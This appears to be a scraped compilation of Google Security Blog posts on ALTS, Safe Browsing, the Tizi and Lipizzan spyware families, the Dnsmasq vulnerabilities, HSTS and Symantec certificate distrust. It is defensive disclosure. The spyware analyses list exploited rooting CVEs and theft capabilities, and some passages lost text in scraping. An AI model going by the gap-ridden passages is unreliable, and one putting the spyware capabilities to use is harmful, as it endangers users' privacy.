blogAdded link to Google Cloud blog

Securing communications between Google services with Application Layer Transport Security

Wednesday December 13th, 2017 05:01:01 PM
Posted by Cesar Ghali and Julien Boeuf, Engineers on the Security & Privacy TeamAt Google, protection of customer data is a top priority. One way we do this is by protecting data in transit by default. We protect data when it is sent to Google using secure communication protocols such as TLS (Transport Layer Security). Within our infrastructure, we protect service-to-service communications at the application layer using a system called Application Layer Transport Security (ALTS). ALTS authenticates the communication between Google services and helps protect data in transit. Today, we’re releasing a whitepaper, “Application Layer Transport Security,” that goes into detail about what ALTS is, how it protects data, and how it’s implemented at Google.ALTS is a highly reliable, trusted system that provides authentication and security for our internal Remote Procedure Call (RPC) communications. ALTS requires minimal involvement from the services themselves. When services communicate with each other at Google, such as the Gmail frontend communicating with a storage backend system, they do not need to explicitly configure anything to ensure data transmission is protected - it is protected by default. All RPCs issued or received by a production workload that stay within a physical boundary controlled by or on behalf of Google are protected with ALTS by default. This delivers numerous benefits while allowing the system work at scale:More precise security: Each workload has its own identity. This allows workloads running on the same machine to authenticate using their own identity as opposed to the machine’s identity.Improved scalability: ALTS accommodates Google’s massive scale by using an efficient resumption mechanism embedded in the ALTS handshake protocol, allowing services that were already communicating to easily resume communications. ALTS can also accommodate the authentication and encryption needs of a large number of RPCs; for example, services running on Google production systems collectively issue on the order of O(1010) RPCs per second.Reduced overhead: The overhead of potentially expensive cryptographic operations can be reduced by supporting long-lived RPC channels.Multiple features that ensure security and scalabilityInside physical boundaries controlled by or on behalf of Google, all scheduled production workloads are initialized with a certificate that asserts their identity. These credentials are securely delivered to the workloads. When a workload is involved in an ALTS handshake, it verifies the remote peer identity and certificate. To further increase security, all Google certificates have a relatively short lifespan.ALTS has a flexible trust model that works for different types of entities on the network. Entities can be physical machines, containerized workloads, and even human users to whom certificates can be provisioned.ALTS provides a handshake protocol, which is a Diffie-Hellman (DH) based authenticated key exchange protocol that Google developed and implemented. At the end of a handshake, ALTS provides applications with an authenticated remote peer identity, which can be used to enforce fine-grained authorization policies at the application layer.ALTS ensures the integrity of Google traffic is protected, and encrypted as needed.After a handshake is complete and the client and server negotiate the necessary shared secrets, ALTS secures RPC traffic by forcing integrity, and optional encryption, using the negotiated shared secrets. We support multiple protocols for integrity guarantees, e.g., AES-GMAC and AES-VMAC with 128-bit keys. Whenever traffic leaves a physical boundary controlled by or on behalf of Google, e.g., in transit over WAN between datacenters, all protocols are upgraded automatically to provide encryption as well as integrity guarantees. In this case, we use the AES-GCM and AES-VCM protocols with 128-bit keys.More details on how Google data encryption is performed are available in another whitepaper we are releasing today, “Encryption in Transit in Google Cloud.”In summary, ALTS is widely used in Google’s infrastructure to provide service-to-service authentication and integrity, with optional encryption for all Google RPC traffic. For more information about ALTS, please read our whitepaper, “Application Layer Transport Security.”

Additional protections by Safe Browsing for Android users

Friday December 15th, 2017 05:45:55 AM
Posted by Paul Stanton and Brooke Heinichen, Safe Browsing TeamUpdated on 12/14/17 to further distinguish between Unwanted Software Policy and Google Play Developer Program PolicyIn our efforts to protect users and serve developers, the Google Safe Browsing team has expanded enforcement of Google's Unwanted Software Policy to further tamp down on unwanted and harmful mobile behaviors on Android. As part of this expanded enforcement, Google Safe Browsing will show warnings on apps and on websites leading to apps that collect a user’s personal data without their consent.Apps handling personal user data (such as user phone number or email), or device data will be required to prompt users and to provide their own privacy policy in the app. Additionally, if an app collects and transmits personal data unrelated to the functionality of the app then, prior to collection and transmission, the app must prominently highlight how the user data will be used and have the user provide affirmative consent for such use.These data collection requirements apply to all functions of the app. For example, during analytics and crash reportings, the list of installed packages unrelated to the app may not be transmitted from the device without prominent disclosure and affirmative consent.These requirements, under the Unwanted Software Policy, apply to apps in Google Play and non-Play app markets. The Google Play team has also published guidelines for how Play apps should handle user data and provide disclosure.Starting in 60 days, this expanded enforcement of Google’s Unwanted Software Policy may result in warnings shown on user devices via Google Play Protect or on webpages that lead to these apps. Webmasters whose sites show warnings due to distribution of these apps should refer to the Search Console for guidance on remediation and resolution of the warnings. Developers whose apps show warnings should refer to guidance in the Unwanted Software Help Center. Developers can also request an app review using this article on App verification and appeals, which contains guidance applicable to apps in both Google Play and non-Play app stores. Apps published in Google Play have specific criteria to meet under Google Play’s Developer Program Policies; these criteria are outlined in the Play August 2017 announcement.

Tizi: Detecting and blocking socially engineered spyware on Android

Wednesday January 3rd, 2018 11:08:26 PM
Posted by Anthony Desnos, Megan Ruthven, and Richard Neal, Google Play Protect security engineers and Clement Lecigne, Threat Analysis GroupGoogle is constantly working to improve our systems that protect users from Potentially Harmful Applications (PHAs). Usually, PHA authors attempt to install their harmful apps on as many devices as possible. However, a few PHA authors spend substantial effort, time, and money to create and install their harmful app on a small number of devices to achieve a certain goal.This blog post covers Tizi, a backdoor family with some rooting capabilities that was used in a targeted attack against devices in African countries, specifically: Kenya, Nigeria, and Tanzania. We'll talk about how the Google Play Protect and Threat Analysis teams worked together to detect and investigate Tizi-infected apps and remove and block them from Android devices.What is Tizi?Tizi is a fully featured backdoor that installs spyware to steal sensitive data from popular social media applications. The Google Play Protect security team discovered this family in September 2017 when device scans found an app with rooting capabilities that exploited old vulnerabilities. The team used this app to find more applications in the Tizi family, the oldest of which is from October 2015. The Tizi app developer also created a website and used social media to encourage more app installs from Google Play and third-party websites.Here is an example social media post promoting a Tizi-infected app:What is the scope of Tizi?What are we doing?To protect Android devices and users, we used Google Play Protect to disable Tizi-infected apps on affected devices and have notified users of all known affected devices. The developers' accounts have been suspended from Play.The Google Play Protect team also used information and signals from the Tizi apps to update Google's on-device security services and the systems that search for PHAs. These enhancements have been enabled for all users of our security services and increases coverage for Google Play users and the rest of the Android ecosystem.Additionally, there is more technical information below to help the security industry in our collective work against PHAs.What do I need to do?Through our investigation, we identified around 1,300 devices affected by Tizi. To reduce the chance of your device being affected by PHAs and other threats, we recommend these 5 basic steps:Check permissions: Be cautious with apps that request unreasonable permissions. For example, a flashlight app shouldn't need access to send SMS messages.Enable a secure lock screen: Pick a PIN, pattern, or password that is easy for you to remember and hard for others to guess.Update your device: Keep your device up-to-date with the latest security patches. Tizi exploited older and publicly known security vulnerabilities, so devices that have up-to-date security patches are less exposed to this kind of attack.Google Play Protect: Ensure Google Play Protect is enabled.Locate your device: Practice finding your device, because you are far more likely to lose your device than install a PHA.How does Tizi work?The Google Play Protect team had previously classified some samples as spyware or backdoor PHAs without connecting them as a family. The early Tizi variants didn't have rooting capabilities or obfuscation, but later variants did.After gaining root, Tizi steals sensitive data from popular social media apps like Facebook, Twitter, WhatsApp, Viber, Skype, LinkedIn, and Telegram. It usually first contacts its command-and-control servers by sending an SMS with the device's GPS coordinates to a specific number. Subsequent command-and-control communications are normally performed over regular HTTPS, though in some specific versions, Tizi uses the MQTT messaging protocol with a custom server. The backdoor contains various capabilities common to commercial spyware, such as recording calls from WhatsApp, Viber, and Skype; sending and receiving SMS messages; and accessing calendar events, call log, contacts, photos, Wi-Fi encryption keys, and a list of all installed apps. Tizi apps can also record ambient audio and take pictures without displaying the image on the device's screen.Tizi can root the device by exploiting one of the following local vulnerabilities:CVE-2012-4220CVE-2013-2596CVE-2013-2597CVE-2013-2595CVE-2013-2094CVE-2013-6282CVE-2014-3153CVE-2015-3636CVE-2015-1805Most of these vulnerabilities target older chipsets, devices, and Android versions. All of the listed vulnerabilities are fixed on devices with a security patch level of April 2016 or later, and most of them were patched considerably prior to this date. Devices with this patch level or later are far less exposed to Tizi's capabilities. If a Tizi app is unable to take control of a device because the vulnerabilities it tries to use are are all patched, it will still attempt to perform some actions through the high level of permissions it asks the user to grant to it, mainly around reading and sending SMS messages and monitoring, redirecting, and preventing outgoing phone calls.Samples uploaded to VirusTotalTo encourage further research in the security community, here are some sample applications embedding Tizi that were already on VirusTotal.Package nameSHA256 digestSHA1 digests linked to TiziTo encourage further research in the security community, here are some sample digests of exploits and utilities that were used or abused by Tizi.FilenameSHA256 digestrun_root_shellf2e45ea50fc71b62d9ea59990ced755636286121437ced6237aff90981388f6aiovyroot4d0887f41d0de2f31459c14e3133debcdf758ad8bbe57128d3bec2c907f2acf3filesbetyangu.tar9869871ed246d5670ebca02bb265a584f998f461db0283103ba58d4a650333be

Lock it up! New hardware protections for your lock screen with the Google Pixel 2

Tuesday November 14th, 2017 07:15:58 PM
Posted by Xiaowen Xin, Android Security TeamThe new Google Pixel 2 ships with a dedicated hardware security module designed to be robust against physical attacks. This hardware module performs lockscreen passcode verification and protects your lock screen better than software alone.To learn more about the new protections, let’s first review the role of the lock screen. Enabling a lock screen protects your data, not just against casual thieves, but also against sophisticated attacks. Many Android devices, including all Pixel phones, use your lockscreen passcode to derive the key that is then used to encrypt your data. Before you unlock your phone for the first time after a reboot, an attacker cannot recover the key (and hence your data) without knowing your passcode first. To protect against brute-force guessing your passcode, devices running Android 7.0+ verify your attempts in a secure environment that limits how often you can repeatedly guess. Only when the secure environment has successfully verified your passcode does it reveal a device and user-specific secret used to derive the disk encryption key.Benefits of tamper-resistant hardwareThe goal of these protections is to prevent attackers from decrypting your data without knowing your passcode, but the protections are only as strong as the secure environment that verifies the passcode. Performing these types of security-critical operations in tamper-resistant hardware significantly increases the difficulty of attacking it.Tamper-resistant hardware comes in the form of a discrete chip separate from the System on a Chip (SoC). It includes its own flash, RAM, and other resources inside a single package, so it can fully control its own execution. It can also detect and defend against outside attempts to physically tamper with it.In particular:Because it has its own dedicated RAM, it’s robust against many side-channel information leakage attacks, such as those described in the TruSpy cache side-channel paper.Because it has its own dedicated flash, it’s harder to interfere with its ability to store state persistently.It loads its operating system and software directly from internal ROM and flash, and it controls all updates to it, so attackers can’t directly tamper with its software to inject malicious code.Tamper-resistant hardware is resilient against many physical fault injection techniques including attempts to run outside normal operating conditions, such as wrong voltage, wrong clock speed, or wrong temperature. This is standardized in specifications such as the SmartCard IC Platform Protection Profile, and tamper-resistant hardware is often certified to these standards.Tamper-resistant hardware is usually housed in a package that is resistant to physical penetration and designed to resist side channel attacks, including power analysis, timing analysis, and electromagnetic sniffing, such as described in the SoC it to EM paper.Security module in Pixel 2The new Google Pixel 2 ships with a security module built using tamper-resistant hardware that protects your lock screen and your data against many sophisticated hardware attacks.In addition to all the benefits already mentioned, the security module in Pixel 2 also helps protect you against software-only attacks:Because it performs very few functions, it has a super small attack surface.With passcode verification happening in the security module, even in the event of a full compromise elsewhere, the attacker cannot derive your disk encryption key without compromising the security module first.The security module is designed so that nobody, including Google, can update the passcode verification logic to a weakened version without knowing your passcode first.SummaryJust like many other Google products, such as Chromebooks and Cloud, Android and Pixel are investing in additional hardware protections to make your device more secure. With the new Google Pixel 2, your data is safer against an entire class of sophisticated hardware attacks.

New research: Understanding the root cause of account takeover

Thursday November 9th, 2017 07:00:01 PM
Posted by Kurt Thomas, Anti-Abuse Research; Angelika Moscicki, Account SecurityAccount takeover, or ‘hijacking’, is unfortunately a common problem for users across the web. More than 15% of Internet users have reported experiencing the takeover of an email or social networking account. However, despite its familiarity, there is a dearth of research about the root causes of hijacking.With Google accounts as a case-study, we teamed up with the University of California, Berkeley to better understand how hijackers attempt to take over accounts in the wild. From March 2016 to March 2017, we analyzed several black markets to see how hijackers steal passwords and other sensitive data. We’ve highlighted some important findings from our investigation below. We presented our study at the Conference on Computer and Communications Security (CCS) and it’s now available here.What we learned from the research proved to be immediately useful. We applied its insights to our existing protections and secured 67 million Google accounts before they were abused. We’re sharing this information publicly so that other online services can better secure their users, and can also supplement their authentication systems with more protections beyond just passwords.How hijackers steal passwords on the black marketOur research tracked several black markets that traded third-party password breaches, as well as 25,000 blackhat tools used for phishing and keylogging. In total, these sources helped us identify 788,000 credentials stolen via keyloggers, 12 million credentials stolen via phishing, and 3.3 billion credentials exposed by third-party breaches.While our study focused on Google, these password stealing tactics pose a risk to all account-based online services. In the case of third-party data breaches, 12% of the exposed records included a Gmail address serving as a username and a password; of those passwords, 7% were valid due to reuse. When it comes to phishing and keyloggers, attackers frequently target Google accounts to varying success: 12-25% of attacks yield a valid password.However, because a password alone is rarely sufficient for gaining access to a Google account, increasingly sophisticated attackers also try to collect sensitive data that we may request when verifying an account holder’s identity. We found 82% of blackhat phishing tools and 74% of keyloggers attempted to collect a user’s IP address and location, while another 18% of tools collected phone numbers and device make and model.By ranking the relative risk to users, we found that phishing posed the greatest threat, followed by keyloggers, and finally third-party breaches.Protecting our users from account takeoverOur findings were clear: enterprising hijackers are constantly searching for, and are able to find, billions of different platforms’ usernames and passwords on black markets. While we have already applied these insights to our existing protections, our findings are yet another reminder that we must continuously evolve our defenses in order to stay ahead of these bad actors and keep users safe.For many years, we’ve applied a ‘defense in-depth’ approach to security—a layered series of constantly improving protections that automatically prevent, detect, and mitigate threats to keep your account safe.PreventionA wide variety of safeguards help us to prevent attacks before they ever affect our users. For example, Safe Browsing, which now protects more than 3 billion devices, alerts users before they visit a dangerous site or when they click a link to a dangerous site within Gmail. We recently announced the Advanced Protection program which provides extra security for users that are at elevated risk of attack.DetectionWe monitor every login attempt to your account for suspicious activity. When there is a sign-in attempt from a device you’ve never used, or a location you don’t commonly access your account from, we’ll require additional information before granting access to your account. For example, if you sign in from a new laptop and you have a phone associated with you account, you will see a prompt—we’re calling these dynamic verification challenges—like this:This challenge provides two-factor authentication on all suspicious logins, while mitigating the risk of account lockout.MitigationFinally, we regularly scan activity across Google’s suite of products for suspicious actions performed by hijackers and when we find any, we lock down the affected accounts to prevent any further damage as quickly as possible. We prevent or undo actions we attribute to account takeover, notify the affected user, and help them change their password and re-secure their account into a healthy state.What you can doThere are some simple steps you can take that make these defenses even stronger. Visit our Security Checkup to make sure you have recovery information associated with your account, like a phone number. Allow Chrome to automatically generate passwords for your accounts and save them via Smart Lock. We’re constantly working to improve these tools, and our automatic protections, to keep your data safe.

Introducing the Google Play Security Reward Program

Friday October 20th, 2017 12:30:10 AM
Posted by Renu Chaudhary, Android Security and Rahul Mishra, Program ManagerWe have long enjoyed a close relationship with the security research community. To recognize the valuable external contributions that help us keep our users safe online, we maintain reward programs for Google-developed websites and apps, for Chrome and Chrome OS, and for the latest version of Android running on Pixel devices. These programs have been a success and helped uncover hundreds of vulnerabilities, while also paying out millions of dollars to participating security researchers and research teams.Today, we’re introducing the Google Play Security Reward Program to incentivize security research into popular Android apps available on Google Play. Through our collaboration with independent bug bounty platform, HackerOne, we’ll enable security researchers to submit an eligible vulnerability to participating developers, who are listed in the program rules. After the vulnerability is addressed, the eligible researcher submits a report to the Play Security Reward Program to receive a monetary reward from Google Play.With the ongoing success of our other reward programs, we invite developers and the research community to work together with us on proactively improving the security of some of the most popular Android apps on Google Play.The program is limited to a select number of developers at this time to get initial feedback. Developers can contact their Google Play partner manager to show interest. All developers will benefit when bugs are discovered because we will scan all apps for them and deliver security recommendations to the developers of any affected apps. For more information, visit the Play Security Reward Program on HackerOne.

Behind the Masq: Yet more DNS, and DHCP, vulnerabilities

Monday October 2nd, 2017 02:55:08 PM
Posted by Fermin J. Serna, Staff Software Engineer, Matt Linton, Senior Security Engineer and Kevin Stadmeyer, Technical Program ManagerOur team has previously posted about DNS vulnerabilities and exploits. Lately, we’ve been busy reviewing the security of another DNS software package: Dnsmasq. We are writing this to disclose the issues we found and to publicize the patches in an effort to increase their uptake.Dnsmasq provides functionality for serving DNS, DHCP, router advertisements and network boot. This software is commonly installed in systems as varied as desktop Linux distributions (like Ubuntu), home routers, and IoT devices. Dnsmasq is widely used both on the open internet and internally in private networks.We discovered seven distinct issues (listed below) over the course of our regular internal security assessments. Once we determined the severity of these issues, we worked to investigate their impact and exploitability and then produced internal proofs of concept for each of them. We also worked with the maintainer of Dnsmasq, Simon Kelley, to produce appropriate patches and mitigate the issue.These patches have been upstreamed and are now committed to the project’s git repository. In addition to these patches we have also submitted another patch which will run Dnsmasq under seccomp-bpf to allow for additional sandboxing. This patch has been submitted to the DNSmasq project for review and we have also made it available here for those who wish to integrate it into an existing install (after testing, of course!). We believe the adoption of this patch will increase the security of DNSMasq installations.We would like to thank Simon Kelley for his help in patching these bugs in the core Dnsmasq codebase. Users who have deployed the latest version of Dnsmasq (2.78) will be protected from the attacks discovered here. Android partners have received this patch as well and it will be included in Android's monthly security update for October. Kubernetes versions 1.5.8, 1.6.11, 1.7.7, and 1.8.0 have been released with a patched DNS pod. Other affected Google services have been updated.During our review, the team found three potential remote code executions, one information leak, and three denial of service vulnerabilities affecting the latest version at the project git server as of September 5th 2017.CVEImpactVectorNotesPoCCVE-2017-14491RCEDNSHeap based overflow (2 bytes).

Although the latest git version only allows a 2-byte overflow, this could be exploited based on previous research. Before version 2.76 and this commit the overflow is unrestricted. ==1159==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62200001dd0b at pc 0x0000005105e7 bp 0x7fff6165b9b0 sp0x7fff6165b9a8WRITE of size 1 at 0x62200001dd0b thread T0  #0 0x5105e6 in add_resource_record/test/dnsmasq/src/rfc1035.c:1141:7  #1 0x5127c8 in answer_request /test/dnsmasq/src/rfc1035.c:1428:11  #2 0x534578 in receive_query /test/dnsmasq/src/forward.c:1439:11  #3 0x548486 in check_dns_listeners /test/dnsmasq/src/dnsmasq.c:1565:2  #4 0x5448b6 in main /test/dnsmasq/src/dnsmasq.c:1044:7  #5 0x7fdf4b3972b0 in __libc_start_main (/lib/x86_64-linux-gnu/  #6 0x41cbe9 in _start (/test/dnsmasq/src/dnsmasq+0x41cbe9)CVE-2017-14493 is a trivial-to-exploit DHCP-based, stack-based buffer overflow vulnerability.

Broadening HSTS to secure more of the Web

Wednesday October 18th, 2017 09:58:22 PM
Posted by Ben McIlwain, Google RegistryThe security of the Web is of the utmost importance to Google. One of the most powerful tools in the Web security toolbox is ensuring that connections to websites are encrypted using HTTPS, which prevents Web traffic from being intercepted, altered, or misdirected in transit. We have taken many actions to make the use of HTTPS more widespread, both within Google and on the larger Internet.We began in 2010 by defaulting to HTTPS for Gmail and starting the transition to encrypted search by default. In 2014, we started encouraging other websites to use HTTPS by giving secure sites a ranking boost in Google Search. In 2016, we became a platinum sponsor of Let’s Encrypt, a service that provides simple and free SSL certificates. Earlier this year we announced that Chrome will start displaying warnings on insecure sites, and we recently introduced fully managed SSL certificates in App Engine. And today we’re proud to announce that we are beginning to use another tool in our toolbox, the HTTPS Strict Transport Security (HSTS) preload list, in a new and more impactful way.The HSTS preload list is built in to all major browsers (Chrome, Firefox, Safari, Internet Explorer/Edge, and Opera). It consists of a list of hostnames for which browsers automatically enforce HTTPS-secured connections. For example, is on the list, which means that the aforementioned browsers will never make insecure connections to Gmail; if the user types, the browser first changes it to before sending the request. This provides greater security because the browser never loads an http-to-https redirect page, which could be intercepted.The HSTS preload list can contain individual domains or subdomains and even top-level domains (TLDs), which are added through the HSTS website. The TLD is the last part of the domain name, e.g., .com, .net, or .org. Google operates 45 TLDs, including .google, .how, and .soy. In 2015 we created the first secure TLD when we added .google to the HSTS preload list, and we are now rolling out HSTS for a larger number of our TLDs, starting with .foo and .dev.The use of TLD-level HSTS allows such namespaces to be secure by default. Registrants receive guaranteed protection for themselves and their users simply by choosing a secure TLD for their website and configuring an SSL certificate, without having to add individual domains or subdomains to the HSTS preload list. Moreover, since it typically takes months between adding a domain name to the list and browser upgrades reaching a majority of users, using an already-secured TLD provides immediate protection rather than eventual protection. Adding an entire TLD to the HSTS preload list is also more efficient, as it secures all domains under that TLD without the overhead of having to include all those domains individually.We hope to make some of these secure TLDs available for registration soon, and would like to see TLD-wide HSTS become the security standard for new TLDs.Updated 2017-10-06: To clear up some confusion in the responses to this post, we are not rolling out HSTS to Google's previously launched open TLDs (.how, .soy, and .みんな).

Safe Browsing: Protecting more than 3 billion devices worldwide, automatically

Monday September 11th, 2017 09:14:48 PM
Posted by Stephan Somogyi, Safe Browsing Emeritus and Allison Miller, Security & Privacy[Cross-posted from The Keyword]In 2007, we launched Safe Browsing, one of Google’s earliest anti-malware efforts. To keep our users safe, we’d show them a warning before they visited a site that might’ve harmed their computers.Computing has evolved a bit in the last decade, though. Smartphones created a more mobile internet, and now AI is increasingly changing how the world interacts with it. Safe Browsing also had to evolve to effectively protect users.And it has: In May 2016, we announced that Safe Browsing was protecting more than 2 billion devices from badness on the internet. Today we’re announcing that Safe Browsing has crossed the threshold to 3 billion devices. We’re sharing a bit more about how we got here, and where we’re going.What is Safe Browsing?You may not know Safe Browsing by name, since most of the time we’re invisibly protecting you, without getting in the way. But you may have seen a warning like this at some point:This notification is one of the visible parts of Safe Browsing, a collection of Google technologies that hunt badness—typically websites that deceive users—on the internet. We identify sites that might try to phish you, or sites that install malware or other undesirable software. The systems that make up Safe Browsing work together to identify, analyze and continuously keep Safe Browsing’s knowledge of the harmful parts of the internet up to date.This protective information that we generate—a curated list of places that are dangerous for people and their devices—is used across many of our products. It helps keep search results safe and keep ads free from badness; it’s integral to Google Play Protect and keeps you safe on Android; and it helps Gmail shield you from malicious messages.And Safe Browsing doesn’t protect only Google’s products. For many years, Safari and Firefox have protected their users with Safe Browsing as well. If you use an up-to-date version of Chrome, Firefox or Safari, you’re protected by default. Safe Browsing is also used widely by web developers and app developers (including Snapchat), who integrate our protections by checking URLs before they’re presented to their users.Protecting more people with fewer bitsIn the days when web browsers were used only on personal computers, we didn’t worry much about the amount of data Safe Browsing sent over the internet to keep your browser current. Mobile devices changed all that: Slow connections, expensive mobile data plans, and scarce battery capacity became important new considerations.So over the last few years, we’ve rethought how Safe Browsing delivers data. We built new technologies to make its data as compact as possible: We only send the information that’s most protective to a given device, and we make sure this data is compressed as tightly as possible. (All this work benefits desktop browsers, too!)We initially introduced our new mobile-optimized method in late 2015 with Chrome on Android, made it more broadly available in mid-2016, when we also started actively encouraging Android developers to integrate it. With the release of iOS 10 in September 2016, Safari began using our new, efficient Safe Browsing update technology, giving iOS users a protection boost.Safe Browsing in an AI-first worldThe internet is at the start of another major shift. Safe Browsing has already been using machine learning for many years to detect much badness of many kinds. We’re continually evaluating and integrating cutting-edge new approaches to improve Safe Browsing.Protecting all users across all their platforms makes the internet safer for everyone. Wherever the future of the internet takes us, Safe Browsing will be there, continuing to evolve, expand, and protect people wherever they are.

Chrome’s Plan to Distrust Symantec Certificates

Thursday February 1st, 2018 07:28:36 AM
Posted by Devon O’Brien, Ryan Sleevi, Andrew Whalley, Chrome SecurityThis post is a broader announcement of plans already finalized on the blink-dev mailing list.Update, 1/31/18: Post was updated to further clarify 13 month validity limitationsAt the end of July, the Chrome team and the PKI community converged upon a plan to reduce, and ultimately remove, trust in Symantec’s infrastructure in order to uphold users’ security and privacy when browsing the web. This plan, arrived at after significant debate on the blink-dev forum, would allow reasonable time for a transition to new, independently-operated Managed Partner Infrastructure while Symantec modernizes and redesigns its infrastructure to adhere to industry standards. This post reiterates this plan and includes a timeline detailing when site operators may need to obtain new certificates.On January 19, 2017, a public posting to the newsgroup drew attention to a series of questionable website authentication certificates issued by Symantec Corporation’s PKI. Symantec’s PKI business, which operates a series of Certificate Authorities under various brand names, including Thawte, VeriSign, Equifax, GeoTrust, and RapidSSL, had issued numerous certificates that did not comply with the industry-developed CA/Browser Forum Baseline Requirements. During the subsequent investigation, it was revealed that Symantec had entrusted several organizations with the ability to issue certificates without the appropriate or necessary oversight, and had been aware of security deficiencies at these organizations for some time.This incident, while distinct from a previous incident in 2015, was part of a continuing pattern of issues over the past several years that has caused the Chrome team to lose confidence in the trustworthiness of Symantec’s infrastructure, and as a result, the certificates that have been or will be issued from it.After our agreed-upon proposal was circulated, Symantec announced the selection of DigiCert to run this independently-operated Managed Partner Infrastructure, as well as their intention to sell their PKI business to DigiCert in lieu of building a new trusted infrastructure. This post outlines the timeline for that transition and the steps that existing Symantec customers should take to minimize disruption to their users.Information For Site OperatorsStarting with Chrome 66, Chrome will remove trust in Symantec-issued certificates issued prior to June 1, 2016. Chrome 66 is currently scheduled to be released to Chrome Beta users on March 15, 2018 and to Chrome Stable users around April 17, 2018.If you are a site operator with a certificate issued by a Symantec CA prior to June 1, 2016, then prior to the release of Chrome 66, you will need to replace the existing certificate with a new certificate from any Certificate Authority trusted by Chrome.Additionally, by December 1, 2017, Symantec will transition issuance and operation of publicly-trusted certificates to DigiCert infrastructure, and certificates issued from the old Symantec infrastructure after this date will not be trusted in Chrome.Around the week of October 23, 2018, Chrome 70 will be released, which will fully remove trust in Symantec’s old infrastructure and all of the certificates it has issued. This will affect any certificate chaining to Symantec roots, except for the small number issued by the independently-operated and audited subordinate CAs previously disclosed to Google.Site operators that need to obtain certificates from Symantec’s existing root and intermediate certificates may do so from the old infrastructure until December 1, 2017, although these certificates will need to be replaced again prior to Chrome 70. Additionally, certificates issued using validation information from Symantec’s infrastructure will have their validity limited to 13 months. Alternatively, site operators may obtain replacement certificates from any other Certificate Authority currently trusted by Chrome, which are unaffected by this distrust or validity period limit.Reference TimelineThe following is a timeline of relevant dates associated with this plan, which distills the various requirements and milestones into an actionable set of information for site operators. As always, Chrome release dates can vary by a number of days, but upcoming release dates can be tracked here.DateEventNowthrough ~March 15, 2018Site Operators using Symantec-issued TLS server certificates issued before June 1, 2016 should replace these certificates. These certificates can be replaced by any currently trusted CA.~October 24, 2017Chrome 62 released to Stable, which will add alerting in DevTools when evaluating certificates that will be affected by the Chrome 66 distrust.December 1, 2017According to Symantec, DigiCert’s new “Managed Partner Infrastructure” will at this point be capable of full issuance. Any certificates issued by Symantec’s old infrastructure after this point will cease working in a future Chrome update.From this date forward, Site Operators can obtain TLS server certificates from the new Managed Partner Infrastructure that will continue to be trusted after Chrome 70 (~October 23, 2018). December 1, 2017 does not mandate any certificate changes, but represents an opportunity for site operators to obtain TLS server certificates that will not be affected by Chrome 70’s distrust of the old infrastructure.~March 15, 2018Chrome 66 released to beta, which will remove trust in Symantec-issued certificates with a not-before date prior to June 1, 2016. As of this date Site Operators must be using either a Symantec-issued TLS server certificate issued on or after June 1, 2016 or a currently valid certificate issued from any other trusted CA as of Chrome 66.Site Operators that obtained a certificate from Symantec’s old infrastructure after June 1, 2016 are unaffected by Chrome 66 but will need to obtain a new certificate by the Chrome 70 dates described below.~April 17, 2018Chrome 66 released to Stable.~September 13, 2018Chrome 70 released to Beta, which will remove trust in the old Symantec-rooted Infrastructure. This will not affect any certificate chaining to the new Managed Partner Infrastructure, which Symantec has said will be operational by December 1, 2017.Only TLS server certificates issued by Symantec’s old infrastructure will be affected by this distrust regardless of issuance date.~October 23, 2018Chrome 70 released to Stable.

From Chrysaor to Lipizzan: Blocking a new targeted spyware family

Wednesday July 26th, 2017 08:06:42 PM
Posted by Megan Ruthven Android Security, Ken Bodzak Threat Analysis Group, Neel Mehta Threat Analysis GroupAndroid Security is always developing new ways of using data to find and block potentially harmful apps (PHAs) from getting onto your devices. Earlier this year, we announced we had blocked Chrysaor targeted spyware, believed to be written by NSO Group, a cyber arms company. In the course of our Chrysaor investigation, we used similar techniques to discover a new and unrelated family of spyware called Lipizzan. Lipizzan’s code contains references to a cyber arms company, Equus Technologies.Lipizzan is a multi-stage spyware product capable of monitoring and exfiltrating a user’s email, SMS messages, location, voice calls, and media. We have found 20 Lipizzan apps distributed in a targeted fashion to fewer than 100 devices in total and have blocked the developers and apps from the Android ecosystem. Google Play Protect has notified all affected devices and removed the Lipizzan apps.We’ve enhanced Google Play Protect’s capabilities to detect the targeted spyware used here and will continue to use this framework to block more targeted spyware. To learn more about the methods Google uses to find targeted mobile spyware like Chrysaor and Lipizzan, attend our BlackHat talk, Fighting Targeted Malware in the Mobile Ecosystem.How does Lipizzan work?Getting on a target deviceLipizzan was a sophisticated two stage spyware tool. The first stage found by Google Play Protect was distributed through several channels, including Google Play, and typically impersonated an innocuous-sounding app such as a "Backup” or “Cleaner” app. Upon installation, Lipizzan would download and load a second "license verification" stage, which would survey the infected device and validate certain abort criteria. If given the all-clear, the second stage would then root the device with known exploits and begin to exfiltrate device data to a Command & Control server.Once implanted on a target deviceThe Lipizzan second stage was capable of performing and exfiltrating the results of the following tasks:Call recordingVOIP recordingRecording from the device microphoneLocation monitoringTaking screenshotsTaking photos with the device camera(s)Fetching device information and filesFetching user information (contacts, call logs, SMS, application-specific data)The PHA had specific routines to retrieve data from each of the following apps:GmailHangoutsKakaoTalkLinkedInMessengerSkypeSnapchatStockEmailTelegramThreemaViberWhatsappWe saw all of this behavior on a standalone stage 2 app, (not related to Android MediaServer). This app shared a signing certificate with one of the stage 1 applications,, indicating the same author wrote the two. We could use the following code snippet from the 2nd stage ( to draw ties to the stage 1 applications.Morphing first stageAfter we blocked the first set of apps on Google Play, new apps were uploaded with a similar format but had a couple of differences.The apps changed from ‘backup’ apps to looking like a “cleaner”, “notepad”, “sound recorder”, and “alarm manager” app. The new apps were uploaded within a week of the takedown, showing that the authors have a method of easily changing the branding of the implant apps.The app changed from downloading an unencrypted stage 2 to including stage 2 as an encrypted blob. The new stage 1 would only decrypt and load the 2nd stage if it received an intent with an AES key and IV.Despite changing the type of app and the method to download stage 2, we were able to catch the new implant apps soon after upload.How many devices were affected?There were fewer than 100 devices that checked into Google Play Protect with the apps listed below. That means the family affected only 0.000007% of Android devices. Since we identified Lipizzan, Google Play Protect removed Lipizzan from affected devices and actively blocks installs on new devices.What can you do to protect yourself?Ensure you are opted into Google Play Protect. Exclusively use the Google Play store. The chance you will install a PHA is much lower on Google Play than using other install mechanisms.Keep “unknown sources” disabled while not using it.Keep your phone patched to the latest Android security update.List of samples1st stageNewer version Standalone 2nd stage

Final removal of trust in WoSign and StartCom Certificates

Thursday July 20th, 2017 06:19:53 PM
